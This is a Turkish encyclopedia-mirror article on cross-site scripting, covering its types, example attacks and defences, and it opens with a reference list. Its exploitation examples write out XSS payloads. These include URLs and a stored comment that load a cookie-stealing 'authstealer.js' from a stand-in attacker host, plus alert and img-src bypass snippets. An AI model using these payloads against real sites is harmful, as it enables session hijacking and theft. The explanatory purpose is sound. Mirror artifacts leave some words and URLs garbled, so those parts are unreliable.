- ^ This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in . Sophos. 2 Ağustos 2009 tarihinde kaynağından arşivlendi. Erişim tarihi: 5 Haziran 2008. and . F-Secure. 5 Ocak 2007. 21 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 5 Haziran 2008. and . Symantec Corp. 13 Şubat 2007. 24 Eylül 2015 tarihinde kaynağından arşivlendi. Erişim tarihi: 5 Haziran 2008.
- ^ Viruses and worms in Alcorn, Wade (27 Eylül 2005). . BindShell.net. 23 Ağustos 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 27 Mayıs 2008.
- ^ . Bugzilla@Mozilla. 2004. 20 Ağustos 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 29 Mayıs 2008.
- ^ "DOM based XSS". OWASP. 28 Ocak 2017 tarihinde kaynağından . Erişim tarihi: 18 Nisan 2017.
- ^ . 2011. 30 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017.
- ^ . OWASP. 28 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017.
- ^ . Angular.js. 10 Şubat 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017.
- ^ . www.majorgeeks.com. 29 Temmuz 2014. 21 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 20 Eylül 2016.
- ^ a b "Arşivlenmiş kopya". 14 Şubat 2018 tarihinde kaynağından . Erişim tarihi: 1 Şubat 2019.
- ^ Brodkin, Jon (4 Ekim 2007). . Network World. IDG. 14 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 6 Şubat 2017.
- ^ Williams, Jeff (19 Ocak 2009). . OWASP. 18 Mart 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Şubat 2009.
- ^ Sharma, Anand (3 Şubat 2004). "Prevent a cross-site scripting attack". IBM. 24 Eylül 2015 tarihinde kaynağından . Erişim tarihi: 29 Mayıs 2008.
- ^ . Breach Security. 15 Haziran 2013 tarihinde kaynağından arşivlendi. Erişim tarihi: 6 Haziran 2008.
- ^ . OpenAjax Alliance. 27 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 9 Haziran 2008.
- ^ O'Reilly, Tim (30 Eylül 2005). "What Is Web 2.0". O'Reilly Media. ss. 4-5. 16 Ekim 2014 tarihinde kaynağından . Erişim tarihi: 4 Haziran 2008.
- ^ "A page should work, even if in a degraded form, without JavaScript." in Zammetti, Frank (16 Nisan 2007). Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader. Apress. s. 36. ISBN . 23 Mart 2019 tarihinde kaynağından . Erişim tarihi: 4 Haziran 2008.
- ^ "How to use security zones in Internet Explorer". Microsoft. 18 Aralık 2007. 6 Mart 2015 tarihinde kaynağından . Erişim tarihi: 4 Haziran 2008.
- ^ Lie, Håkon Wium (7 Şubat 2006). . Opera Software. 26 Ekim 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008.
- ^ . Mozilla. 30 Mayıs 2008. 21 Nisan 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008.
- ^ . Sybase. Mart 2003. 13 Kasım 2009 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008.
- ^ 73% of sites relied on JavaScript in late 2006, in "'Most websites' failing disabled". BBC News. 6 Aralık 2006. 20 Nisan 2008 tarihinde kaynağından . Erişim tarihi: 4 Haziran 2008.
- ^ "NoScript Features". 22 Mart 2017 tarihinde kaynağından . Erişim tarihi: 7 Mart 2009.
- ^ . W3C Candidate Recommendation. 15 Kasım 2012. 26 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 22 Şubat 2013.
- ^ . 12 Ağustos 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017.
- ^ Di Paola, Stefano (3 Ocak 2007). . Wisec.it. 10 Kasım 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 13 Mart 2012.
- ^ "Security hole in Internet Explorer allows attackers to execute arbitrary programs". Heise Media UK. 16 Mayıs 2008. 20 Kasım 2011 tarihinde kaynağından . Erişim tarihi: 7 Haziran 2008.
- ^ "Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player". Adobe Systems. 14 Kasım 2006. 29 Ocak 2017 tarihinde kaynağından . Erişim tarihi: 7 Haziran 2008.
- ^ Auger, Robert (17 Nisan 2008). . Cgisecurity.com. 9 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008.
- ^ . 14 Ağustos 2012 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017.
- ^ . Hacker News. 2 Mayıs 2014. 29 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 21 Aralık 2014.
- ^ Scharr, Jill (2 Mayıs 2014). "Facebook, Google Users Threatened by New Security Flaw". Tom's Guide. 25 Temmuz 2019 tarihinde kaynağından . Erişim tarihi: 21 Aralık 2014.
- ^ . Web Application Security Consortium. 2005. 25 Eylül 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008.
- ^ . Cgisecurity.com. 2002. 21 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008.
Daha fazla bilgi
- MacKenzie, Thomas. . 24 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015.
- . 27 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015.
- . 6 Şubat 2015. 6 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015.
- . 13 Ekim 2005. 1 Haziran 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015.
Dış bağlantılar
- OWASP: XSS, , XSS için Kod Analizi 28 Kasım 2018 tarihinde Wayback Machine sitesinde .
- XSSed: Siteler Arası Betik Çalıştırma Saldırılarına Açık Web Siteleri Veri Tabanı 21 Ocak 2019 tarihinde Wayback Machine sitesinde .
- Siteler Arası Betik Çalıştırma Saldırısının Flash Animasyonu 21 Mayıs 2013 tarihinde Wayback Machine sitesinde .
wikipedia, wiki, viki, vikipedia, oku, kitap, kütüphane, kütübhane, ara, ara bul, bul, herşey, ne arasanız burada,hikayeler, makale, kitaplar, öğren, wiki, bilgi, tarih, yukle, izle, telefon için, turk, türk, türkçe, turkce, nasıl yapılır, ne demek, nasıl, yapmak, yapılır, indir, ücretsiz, ücretsiz indir, bedava, bedava indir, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, resim, müzik, şarkı, film, film, oyun, oyunlar, mobil, cep telefonu, telefon, android, ios, apple, samsung, iphone, xiomi, xiaomi, redmi, honor, oppo, nokia, sonya, mi, pc, web, computer, bilgisayar
Siteler arasi betik calistirma Ingilizce Cross Site Scripting kisa adiyla XSS genellikle web uygulamalarinda gorulen genellikle HTML enjeksiyonu zafiyetiyle birlikte ortaya cikan veya Java Script kullanan bazi aplikasyonlarda bulunan bir guvenlik acikligidir XSS diger kullanicilar tarafindan goruntulenen web sayfalarina istemci tarafli Java Script kodunun enjekte edilmesine imkan verir Siteler arasi betik calistirma acikligi saldirganlar tarafindan gibi bazi erisim kontrollerini atlatmak ve hedef adresin oturum katmanini ele gecirmek icin kullanilabilmektedir Web sayfalari uzerinde gerceklestirilen siteler arasi betik calistirma saldirilari 2007 itibariyla Symantec in raporladigi tum guvenlik acikliklarinin yaklasik olarak 84 unu olusturmaktadir Zafiyet iceren sitenin isledigi verinin hassasiyetine ve site sahibi tarafindan uygulanan guvenlik tedbirlerine bagli olarak etkisi ufak bir aksamadan onemli bir guvenlik riskine kadar degisebilmektedir Arka planWeb guvenligi ayni kok politikasi gibi guven unsurunun temelinde yatan mekanizmalar gibi pek cok mekanizmaya baglidir Ayni kok politikasi basitce eger bir siteye https mybank example1 com ait icerige baska bir sistem uzerindeki kaynaklara erisim yetkisi verilmisse bu siteye ait herhangi bir icerigin de bu izinleri paylasacagi ancak baska bir siteye https othersite example2 com ait icerigin erisim icin ayrica izin almasi gerektigini ifade etmektedir Siteler arasi betik calistirma saldirilari web tabanli uygulamalardaki bunlarin sunucularindaki veya gereksinim duyduklari pluginlerdeki bilinen acikliklari kullanmaktadir Bunlardan birisini istismar ederek saldirganlar zafiyet iceren siteden gelen icerigin icerisine kotucul icerigi eklemektedir Olusan birlestirilmis icerik istemci tarafindaki web tarayicisina eristiginde tamami guvenilir kaynaktan alinmis oldugu icin sisteme verilen izinlerle calismaktadir Web sayfalarina kotucul betikleri enjekte etmenin yolunu bularak saldirgan hassas sayfa icerigine oturum cerezlerine ve kullanici adina tarayici tarafindan yonetilen diger pek cok bilgiye yukseltilmis erisim yetkileri elde edebilir Siteler arasi betik calistirma saldirilari bir kod enjeksiyonu cesididir kaynak belirtilmeli Microsoft siber guvenlik muhendisleri siteler arasi betik calistirma ifadesini Ocak 2000 de ortaya cikarmistir Siteler arasi betik calistirma ifadesi ilk olarak hedeflenen alan adinin guvenlik baglaminda saldirganin hazirladigi JavaScript kod parcasinin calistirilabilecegi bir sekilde alakasiz bir saldirgan sitesine ait veya ele gecirilmis ucuncu parti bir web uygulamasinin yansitilmis veya kalici olmayan bir XSS acikligini kullanarak yuklenmesini ifade ediyordu Bu tanim daha sonra bilgi guvenligi alanina yeni katilanlar icin bir karisikliga neden olacak sekilde kalici ve JavaScript olamayan vektorleri ActiveX Java VBScript Flash veya HTML betikleri de dahil edecek sekilde diger kod enjeksiyonu turlerini de icerecek sekilde genisletilmistir XSS acikliklari 1990 lardan beri raporlanmakta ve istismar edilmektedir Gecmiste etkilenmis onemli siteler arasinda Twitter Facebook MySpace YouTube ve Orkut gibi sosyal medya siteleri bulunmaktadir Siteler arasi betik calistirma acikliklari bu yuzden ara bellek tasmasi acikligini gecerek en yaygin sekilde raporlanan guvenlik acikligi olmustur 2007 yilinda bazi arastirmacilar web sitelerinin 68 inin XSS saldirilarina karsi acik oldugunu belirtmistir CesitleriSiteler arasi betik calistirma acikliklarinin standartlastirilmis tek bir siniflandirmasi bulunmamaktadir ancak uzmanlarin cogunlugu en azindan 2 ayri sinifa ayirmaktadir kalici olmayan ve kalici Bazi kaynaklar geleneksel sunucu tarafindaki kod kusurlarindan kaynaklanan ve DOM tabanli istemci tarafindaki kod icerisinde olarak iki ayri gruba daha ayirmaktadir Yansitilmis kalici olmayan Ornek bir kalici olmayan XSS acikligi Non persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in Kalici olmayan veya yansitilmis siteler arasi betik calistirma acikligi en temel web acikligidir Bu aciklik web istemcisi tarafindan en yaygin olarak HTTP sorgu parametreleri uzerinden orn HTML formlarindan saglanan veri kullanici icin bir sonuc sayfasi gostermek ve olusturmak icin sunucu tarafli betikler tarafindan duzgun bir sekilde sterilize edilmeden hizlica kullanildiginda ortaya cikmaktadir HTML dokumanlari kontrol ifadelerini formatlamayi ve gercek icerigi iceren duz ve seri bir yapiya sahip oldugu icin duzgun bir HTML kodlamasi olmadan sayfada yer alan kullanicinin sagladigi gecerlenmemis veri markup enjeksiyonuna yol acabilmektedir Potansiyel bir vektor ornegi web sitesi arama motorudur eger birisi bir metin icin arama yaparsa arama metni neyin aratildigini belirtmek amaciyla hicbir degisiklige ugramadan sayfada tekrar gosterilmektedir Eger cevap paketi HTML kontrol karakterlerini filtrelemiyorsa veya reddetmiyorsa bir siteler arasi betik calistirma zafiyeti de beraberinde gelecektir Yansitilmis bir saldiri genelde e posta veya bir web sayfasi uzerinden yapilmaktadir Yem XSS vektoru iceren ve guvenilir bir siteye isaret eden masum gorunumlu bir URL dir Eger guvenilir site XSS vektorune karsi korumasizsa linke tiklanmasi kurban tarayicisinin enjekte edilen betigi calistirmasina yol acmaktadir Kalici Ornek bir kalici XSS acikligi A persistent vulnerability coupled with a allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on MySpace Kalici veya depolanmis XSS acikligi siteler arasi betik calistirma acikliginin en yikici cesididir Saldirgan tarafindan saglanan veri sunucuda saklandiginda ve sonrasinda diger kullanicilarin duzenli gezinimi sirasinda normal sayfa uzerinde kalici olarak gosterildiginde ortaya cikmaktadir Tipik bir ornegi kullanicilarin diger kullanicilarin okumasi icin HTML formatinda mesajlar gondermesine izin veren cevrimici mesajlasmadir Ornek olarak uyelerin ilgilerini cekebilecek diger uyeleri bulmak icin diger uyelerin profillerini tarayabildikleri bir randevu sitesini dusunelim Gizlilik nedeniyle site herkesin gercek adini ve e posta adreslerini gizli tutmaktadir Bu veriler sunucuda gizli olarak tutulmaktadir Bir uyenin gercek adinin ve e posta adresinin tarayici uzerinde gozuktugu tek zaman uye giris yaptiginda olmaktadir ve baska hicbir kimsenin bilgilerini gorememektedirler Bir saldirganin Mallory nin siteye katildigini ve sitede gordugu insanlarin gercek isimlerini ogrenmek istedigini varsayalim Bunu yapabilmek icin diger kullanicilarin tarayicisinda kendi profiline baktiklarinda calisacak bir betik yazar Betik daha sonra bu bilgileri toplayan Mallory e ait bir sunucuya mesaj gonderir Bunu yapabilmek icin Sizin icin ideal ilk randevuyu tanimlayiniz sorusuna Mallory normal gozukecek kisa bir cevap verir ancak cevabinin sonuna isimleri ve e posta adreslerini calmak icin yazdigi betigi ekler Eger betik lt script gt etiketleri icerisine alinmissa ekranda gozukmeyecektir Sonrasinda baska bir uye olan Bob un Mallory nin profiline baktigini varsayalim Betik otomatik olarak tarayici tarafindan calistirilacak ve Bob un gercek adi ve e posta adresini dogrudan onun makinesi araciligiyla calacaktir Kalici XSS acikliklari saldirganin kotucul betigi bireysel olarak kurbanlarin hedeflenmesine veya ucuncu parti bir siteyi kullandirtmaya gerek olmadan otomatik olarak calistirildigi icin diger turlere gore cok daha onemlidir Ozellikle sosyal ag sitelerinde kod istemci tarafli bir solucan turu olusturarak hesaplar arasinda kendisini yayacak sekilde tasarlanabilmektedir Enjeksiyon yontemleri cok farkli olabilir bazi durumlarda saldirgan boyle bir acikligi istismar etmek icin dogrudan web uygulamasi ile etkilesime gecmeye ihtiyac duymayabilmektedir Saldirgan tarafindan kontrol edilebilen ve web uygulamasi tarafindan alinan herhangi bir veri e posta sistem loglari IM vb uzerinden enjeksiyon vektoru olabilmektedir Sunucu tarafli ve DOM tabanli acikliklari Ornek bir DOM tabanli XSS acikligi Before the bug was resolved Bugzilla error pages were open to DOM based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages Tarihsel olarak XSS acikliklari ilk olarak tum veriyi sunucu tarafinda isleyen uygulamalarda bulunmaktaydi Kullanici girdisi XSS vektorleri dahil sunucuya gonderilmekte ve sonrasinda kullaniciya web sayfasi olarak geri gelmekteydi Gelistirilmis bir kullanici deneyimine olan ihtiyac AJAX kullanarak sunucudan ihtiyaci oldugunda veri ceken ve istemci tarafinda calisan bir sunum katmani mantigina JavaScript ile yazilabilir sahip uygulamalarin yayginlasmasina neden oldu JavaScript de kullanici girdisini isledigi ve web sayfasi iceriginde gosterdigi icin DOM tabanli siteler arasi betik calistirma acikligi olarak isimlendirilen yeni bir yansitilmis XSS sinifi olustu Bir DOM tabanli XSS saldirisinda kotucul veri web sunucusuna ulasmamaktadir Bunun yerine tamamen istemci tarafinda olacak sekilde JavaScript kodu tarafindan yansitilmaktadir Ornek bir DOM tabanli XSS acikligi 2011 yilinda pek cok JQuery eklentisinde bulunan acikliktir DOM tabanli XSS saldirilari icin onleme stratejileri geleneksel XSS onleme yontemlerine cok benzerdir ancak JavaScript kodu icerisinde uygulanmaktadir ve web sayfalari icerisinde bulunmaktadir orn girdi denetimi ve sterilizasyon Bazi JavaScript cerceveleri bu ve diger turdeki saldirilara karsi dahili onlemlere sahiptir ornegin Angular js Self XSS kurbani kotucul JavaScript kodunu tarayicisinda calistirmaya ikna etmeye calisan ve sosyal muhendislige dayanan bir XSS aciklik cesididir Sosyal muhendislik yontemleriyle kullanicinin kod calistirmasini saglamaya dayandigi icin teknik olarak bir XSS acikligi olmasa da duzgun bir sekilde yapildiginda normal bir XSS acikligiyla ayni risklere sahip olmaktadir Istismar OrnekleriSiteler arasi betik calistirma acikliklarini istismar etmek isteyen saldirganlar her bir aciklik sinifina farkli sekillerde yaklasmalidir Her bir sinif icin ozel bir saldiri vektoru burada aciklanacaktir Asagidaki isimler bilgisayar guvenliginde yaygin olarak kullanilan Alice Bob isimlendirmesinden alinan teknik terimlerdir web sayfasina ve kullanicinin yerel ortamina saldirmak icin kullanilabilmektedir Kalici olmayan Alice sik sik Bob tarafindan host edilen bir web sitesini ziyaret etmektedir Bob un sitesi Alice in bir kullanici adi ve parola ciftiyle giris yapmasina ve faturulandirma bilgisi gibi hassas verileri saklamasina izin vermektedir Bir kullanici oturum actiginda tarayici bir Authorization cerezi tutmakta ve boylece her iki bilgisayar sunucu ve istemci kullanicinin giris yaptigini hatirlamaktadir Mallory Bob un sitesinin yansitilmis bir XSS acikligina sahip oldugunu gozlemler Arama sayfasini ziyaret ettiginde bir arama terimini arama kutusuna girdi olarak saglar ve kaydet butonuna basar Eger hicbir sonuc bulunamazsa sayfa not found ifadesinin onune arama terimini ekleyerek gosterir ve URL http bobssite org q arama terimi puppies gibi normal bir arama sorgusuyla sayfa sadece puppies not found ifadesini gostermekte ve URL http bobssite org q puppies olmaktadir Ancak html4strict gibi normal olmayan bir arama sorgusu gonderdiginde xss yazan Bir uyari kutusu gorunur Sayfa xss ifadesi ile ilgili bir hata mesaji ile beraber html4strict not found ifadesini gosterir Url http bobssite org b q lt script 20type text javascript gt alert xss lt script gt b olmaktadir ki bu da istismar edilebilecek bir davranistir Mallory acikligi istismar etmek icin bir URL olusturur http bobssite org b q yavru lt script 20ttttttttt src https www wikipedia tr tr nina az image aHR0cDovL21hbGxvcnlzZXZpbHNpdGUuY29tL2F1dGhzdGVhbGVyLmpz js gt lt script gt b URL ini olusturur Ayrica http bobssite org b q yavru 3Cscript 2520src 3D 22http 3A 2F 2Fmallorysevilsite com 2Fauthstealer js 22 3E 3C 2Fscript 3E b gibi ASCII karakterlerini on altili sayi sistemi formatina cevirebilir boylece normal kullanicilar kotucul URL i hemen anlayamazlar Su sevimli kediciklere bakin mesajiyla Bob un sitesinde uye olan ve suphelenmeyecek bazi uyelere e posta atar Alice e postayi alir Kedileri sevdigi icin linke tiklar Bob un sitesinde arama yapar puppies not found ifadesini gorur ancak ekranda gozukmeyen script etiketi calisir ve Mallory nin authstealer js programini yukler ve calistirir Alice bunu unutur ve devam eder Authstealer js programi Alice in tarayicisinda sanki Bob un sitesinin bir parcasi gibi calisir Alice in Authorization cerezininin kopyasini alir ve Mallory nin sunucusuna yollar Mallory Alice in Authorization cerezini sanki kendisinkiymis gibi tarayicisina ekler Sonrasinda Bob un sitesine gider ve Alice olarak giris yapmis olur Mallory sitenin Faturalandirma kismina gider ve Alice in kredi karti numarasini ogrenir Sonrasinda parolayi degistirme ekranina gidip parolayi degistirir ve boylece Alice kendi hesabina giris yapamaz Saldiriyi bir adim daha gelistirerek benzer bir sekilde olusturulmus bir linki Bob a gonderir ve boylece Bob un sitesi uzerinde yonetici yetkilerine sahip olur Bu saldiriyi engellemek icin asagidaki birkac onlem alinabilir Arama girdisi uygun kodlama kontrolunu icerecek sekilde sterilize edilebilir Web sunucusu gecersiz istekleri yonlendirecek sekilde ayarlanabilir Web sunucusu eszamanli girisi tespit edebilir ve oturumlari sonlandirabilir Web sunucusu iki farkli IP adresinden eszamanli girisi tespit edebilir ve oturumlari sonlandirabilir Web sitesi daha once kullanilan kredi karti numarasinin sadece birkac hanesini gosterebilir Web sitesi kullanicilarin kayit bilgilerini degistirmeden once tekrar parolalarini girmelerini gerektirebilir Web sitesi nin pek cok farkli yonunu kullanabilir Kullanicilar tehlikesiz gozuken ancak kotucul olan linklere tiklamamalari konusunda egitilebilir Cerez HttpOnly bayragi ile isaretlenerek JavaScript in cereze erisimi engellenebilir Kalici saldiri Mallory Bob un sitesinde bir hesap olusturur Mallory Bob un sitesinin bir depolanmis XSS acikligi bulundurdugunu tespit eder Haberler kismina gider ve bir yorum eklerse yorum olarak yazdigi her sey sayfada tekrar gosterilmektedir Ama eger yorum icerisinde HTML etiketleri iceriyorsa etiketler oldugu gibi gosterilmekte ve herhangi bir script etiketi calistirilmaktadir Mallory Haberler bolumunde bir haber okur ve alttaki Yorumlar kismina bir yorum yazar Yorum kismina su ifadeyi ekler Buradaki kedilere bayiliyorum Cok tatlilar b lt script ttttttttt src https www wikipedia tr tr nina az image aHR0cDovL21hbGxvcnlzZXZpbHNpdGUuY29tL2F1dGhzdGVhbGVyLmpz js gt b Alice veya baska birisi sayfayi bu yorumla birlikte yuklediginde Mallory nin script etiketi calisir ve Alice in oturum cerezini calar ve sonrasinda Mallory nin gizli sunucusuna gonderir Mallory boylece Alice in oturumunu calabilir ve Alice mis gibi davranabilir Bob un web sitesi yazilimi script etiketlerini kaldirmali veya calisamaz hale getirmek icin bir sey yapmaliydi ancak guvenlik acikligi zaten yapmamis olmamasindan kaynaklanmaktadir Onleyici tedbirlerMetin girdilerinin baglamsal cikti kodlamasi cevirimi Baglamsal cikti kodlama cevirimi XSS saldirilarini durdurmak icing kullanilan birincil savunma mekanizmasidir Guvenilmeyen metinlerin HTML dokumani icerisinde nereye konulacagina bagli olarak kullanilabilecek HTML varlik cevirimi JavaScript cevirimi CSS cevirimi ve gibi pek cok farkli cevirim yontemi bulunmaktadir Zengin veri formatini kullanmasi gerekmeyen pek cok web uygulamasi basit bir sekilde XSS saldirilari riskini buyuk olcude ortadan kaldirmak icin kodlamayi cevirimi kullanabilir Yaygin olarak tavsiye edilse de saddle bes XML ozel karakteri uzerinde HTML varlik kodlamasinin kullanilmasi pek cok XSS saldirisi vektorunun engellemesinde yetersiz kalmaktadir Kodlama genelde zor oldugu icin guvenlik icin gelistirilmis kodlama kutuphanelerinin kullanimi genellikle daha kolay bir cozum olmaktadir Guvenli bir sekilde HTML girdisinin gecerlenmesi Web uygulamalarinin pen cogu orn formula ve webmail kullanicilarin belirli bir HTML etiketi setini kullanmalarina izin vermektedir Kullanicidan HTML girdisi orn lt b gt cok lt b gt alinirken cikti kodlamasi orn lt b gt very lt b gt buyuk kullanici girdisi tarayici tarafindan HTML girdisi olarak yorumlanmasi gerektiginden lt b gt cok lt b gt buyuk seklinde gostermek yerine cok buyuk seklinde gostermesi yeterli olmamaktadir will not suffice since the user input needs to be rendered as HTML by the browser so it shows as very large instead of lt b gt very lt b gt large Kullanicidan HTML girdisi alinirken XSS saldirilarinin durdurulabilmesi cok daha karmasik bir durumdur Guvenilmeyen HTML girdisi herhangi bir XSS kodu icermediginden emin olunabilmesi icin bir motorundan gecmelidir Pek cok gecerleme yontemi asagidaki gibi bazi riskli html etiketlerinin kaldirilmasina kara liste uygulama dayanmaktadir Bu yaklasim ile ilgili pek cok sorun bulunmaktadir Ornegin basarili bir sekilde kullanildiginda XSS saldirisi ile sonuclanabilecek bazi gorunurde zararsiz etiketlerin birakilmasi asagidaki ornege bakiniz lt img src javascript alert 1 gt Diger bir yaygin yontem ise ve isaretlerinin kullanici girdisinden cikarilmasidir Ancak bu da veri Obfuscation ile gizlenebilecegi icin atlatilabilmektedir Cerez guvenligi Icerik filtreleme disinda siteler arasi betik calistirma onlemleri icin baska kesin cozum getirmeyen yontemler de yaygin olarak kullanilmaktadir Bir ornegi cerez tabanli kullanici kimlik dogrulamasi yapilirken ilave guvenlik kontrollerinin uygulanmasidir Cogu web uygulamasi bireysel HTTP istekleri arasinda kimlik dogrulamasi yapabilmek icin oturum cerezlerini kullanmaktadir ve istemci tarafli betikler genelde bu cerezlere erisebildigi icin basit XSS istismarlari bu cerezleri calabilmektedir Bu tehdidi ortadan kaldirmak icin genel olarak XSS problemini cozmese de cogu web uygulamasi basta giris yapan kullanicinin IP adresi ile oturum cerezlerini iliskilendirmekte ve sonrasinda o cerezi sadece belirledigi IP adresinin kullanmasina izin vermektedir Cogu senaryoda eger saldirgan sadece cerezin pesinde ise bu basarili olmaktadir ancak saldirganin kurbanla ayni NATlanmis IP adresini veya vekil sunucuyu kullandigi durumlarda veya kurbanin mobil IP adresini degistirdigi durumlarda gecerli olmamaktadir Internet Explorer versiyon 6 ve sonrasi Firefox versiyon 2 0 0 5 ve sonrasi Safari web tarayici versiyon 4 ve sonrasi Opera versiyon 9 5 ve sonrasi ve Google Chrome da bulunan bir diger onleyici mekanizma da istemci tarafli betiklere karsi bir cerezi erisilemez kilan HttpOnly bayragidir Faydali olsa da bu ozellik ne cerezin calinmasini ne de tarayici icerisindeki saldirilari engellemektedir Betikleri devre disi birakmak Web 2 0 ve Ajax gelistiricileri JavaScript kullanimini gerekli kilsa da bazi web uygulamalari herhangi bir istemci tarafli betigin calismasina ihtiyac duymadan calisacak sekilde yazilmistir Bu durum kullanicilarin eger torch ederlerse uygulamayi kullanmadan once tarayicilarinda betik calistirilmasini devre disi birakmalarina izin vermektedir Bu sekilde kotucul olmasi olasi istemci tarafli betikler bile sterilize edilmeden sayfa icerisine eklenebilir ve kullanicilar XSS acikliklarina karsi korumasiz kalmaz Bazi tarayicilar veya tarayici eklentileri alan adi seviyesinde istemci tarafli betiklerin calismasini engelleyecek sekilde yapilandirilabilir Bu yaklasim tamamen gecerli bir yaklasim degildir cunku betik calistirma varsayilan olarak aktifse kullanici sitenin kotucul oldugunu anladiktan yani is isten gectikten sonra engellenebilmektedir Varsayilan olarak tum betik calistirmayi engelleyen ve sonrasinda kullanicinin alan adlari icin aktif hale getirilebilmesine izin veren yaklasim cok daha etkilidir Bu Internet Explorer versiyon 4 ve ustu uzerinde Security Zones ayarlari ile ve Opera versiyon 9 ve ustu uzerinde Site Specific Preferences ayarlari ile yapilabilmektedir Firefox ve Gecko tabanli tarayicilar icin bir cozum de acik kaynak kodlu NoScript eklentisidir Bu eklenti alan adi bazinda betikleri aktif edebilmesine ek olarak betikler aktif edildiginde de bir takim XSS koruma mekanizmasi uygulamaktadir Varsayilan olarak tum sitelerde betikleri devre disi birakmakla ilgili en onemli sorun islevsellik ve cevap vermedeki onemli azalistir istemci tarafli betik calistirma uzak bir sunucuya baglanti kurma gereksinimi duymadigi icin sunucu tarafli betik calistirmaya gore hizlidir Betiklerin devre disi birakilmasiyla ilgili bir diger sorun da cogu kullanicinin bunu anlamamasi ve tarayicilarini uygun bir sekilde nasil guvenli yapacaklarini bilmemesidir Bir diger dezavantaji da cogu sitenin istemci tarafli betikler olmadan calismamasi ve kullanicilari bu ozelligi devre disi birakmaya zorlamasi ve sistemlerini acikliklara acmasidir Firefox NoScript eklentisi kullanicinin verilen bir sayfa uzerinde belirli betiklere izin vermesini ayni sayfadaki digerlerini engellemesine izin vermektedir Ornegin example com sitesine ait betiklere izin verilebilirken ayni sayfa uzerinde calismayi deneyen reklamajansi com sitesine ait betikler devre disi birakilabilir Gelismekte olan savunma teknolojileri Gelismekte olan uc sinif XSS savunmasi bulunmaktadir Bunlar Icerik Guvenlik Politikasi ni JavaScript mum havuzu araclarini ve otomatik cevirim taslaklarini icermektedir Bu mekanizmalar hala gelismektedir ancak XSS saldirilarinin meydana gelis sikligini buyuk oranda dusurmeyi vadetmektedir Tarama hizmetiBazi sirketler saldirinin basarili olup olmadigini test etmek icin kendi sunucularindan musterininkine bir saldiri simule ederek periyodik bir tarama hizmeti sunmaktadir Eger saldiri basarili olursa musteriye nasil yapildigina dair detayli bilgi iceren bir rapor verilmekte ve musteri baska birisi ayni saldiriyi yapmadan once acikligi kapatma sansi elde etmektedir Guncel bir testi gecen site uzerinde guvenilirlik isareti gosterilebilir Tarama araci tum olasi acikliklari bulamayabilir ve bu yuzden guvenilirlik isaretine sahip siteler hala yeni saldiri turlerine karsi acik olabilir Ancak tarama bazi problemleri tespit edebilir Musteri bu sorunlari cozdukten sonra site bu hizmet alinmadan onceki haline gore daha guvenli olmaktadir XSS acikliklarina karsi tam bir koruma gerektiren siteler icin kaynak kod analizi gibi degerlendirme yontemleri gerekmektedir Ilave olarak eger JavaScript sayfa uzerinde calisiyorsa guvenilirlik isareti isaretin statik bir kopyasi ile taklit edilebilir bu yuzden teoride bu tur bir hizmet XSS risklerini ortadan kaldirmak icin yeterli olmayacaktir Ilgili guvenlik acikliklariBir Global Siteler Arasi Betik Calistirma UXSS Vera Global XSS saldirisinda tarayici icerisindeki acikliklar istismar edilmektedir XSS saldirilarinda oldugu gibi diger web sitelerindeki acikliklar yerine Bu tur saldirilar yaygin olarak Anonymous tarafindan bir agin kontrolunu ele gecirmek icin DDoS a ile beraber yapilmaktadir Farkli aciklik kategorileri veya saldiri teknikleri XSS ile ilgilidir cross zone scripting saldirisi bazi tarayicilardaki zone mantigini istismar etmekte ve genelde daha yuksek yetkilerle kod calistirmaktadir HTTP protokolu seviyesindeki kodlama problemlerinden oturu gibi saldirilari mumkun kilmasina ek olarak siteler arasi betik calistirma sartlarinin olusturulmasinda kullanilabilmektedir Siteler arasi istek sahteciligi CSRF XSRF neredeyse XSS in ziddi sayilabilir Cunku kullanicinin siteye olan guvenini istismar etmek yerine saldirgan ve onun kotucul sayfasi kimligi dogrulanmis kullanicilarin bilincli eylemlerini temsil ettigine inandigi istekleri yollayarak sitenin istemci yazilimina olan guvenini istismar etmektedir XSS acikliklari ayni Alan adi uzerinde calisan diger uygulamalardakiler dahil saldirganlarin CSRF tedbirlerini atlatabilmesine izin vermektedir Gizli yonlendirme XSS Vera Acik Yonlendirme saldirilarina karsi korumasiz olan ucuncu parti istemcilerden faydalanmaktadir Normal oltalama girisimleri kolayca tespit edilebilir cunku kotucul sayfanin URL bilgisi genelde gercek site isminden birkac harf uzakta olacaktir Gizli yonlendirmenin farki saldirganin kotucul bir giris diyalog kutusu ile site 